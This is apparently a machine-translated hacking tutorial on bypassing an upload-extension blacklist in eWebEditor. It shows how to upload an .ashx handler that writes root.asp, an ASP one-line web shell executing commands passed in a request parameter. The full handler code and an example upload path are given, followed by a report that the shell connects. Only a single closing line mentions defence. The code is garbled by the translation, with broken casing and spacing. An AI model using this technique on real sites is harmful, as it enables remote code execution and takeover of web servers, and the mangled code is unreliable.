Breakthrough upload limit ashx suffix script execution
Server filtering scripts such as asa,cer,cdx,htr,aspx,php,jsp
What is the way to break through? How do you filter common scripts to break through?
We can also add a ashx script type here. Use Ashx to write an ASP word to the current directory. The
code is as follows.
<%@ WebHandler language= "C #" class= "Handler"%>
using System;
Using System.Web;
using System.IO;
public class Handler:ihttphandler {
public void ProcessRequest (HttpContext context) {
context. Response.ContentType = "Text/plain";
StreamWriter file1= file.createtext (context. Server.MapPath ("root.asp"));
File1. Write ("<%response.clear:execute request (\" Root\ "): Response. End%> ");
File1. Flush ();
File1. Close ();
}
Public bool IsReusable {
Get {
return false;
}
}
}
is saved as ashx, now add a ashx upload type to see.
upload succeeds, direct access
Http://www.xxxxx.com/admin/eWebEditor/UploadFile/201082143554545.ashx will generate a root.asp trojan in the current directory.
Look at the upload file, root.asp is already lying over there, with a lake2 word connection, see cordial hello Word!
Sometimes the site filters out common script types but ashx ...
Security measures: Don't miss the ashx ...
Bypass blacklist uploads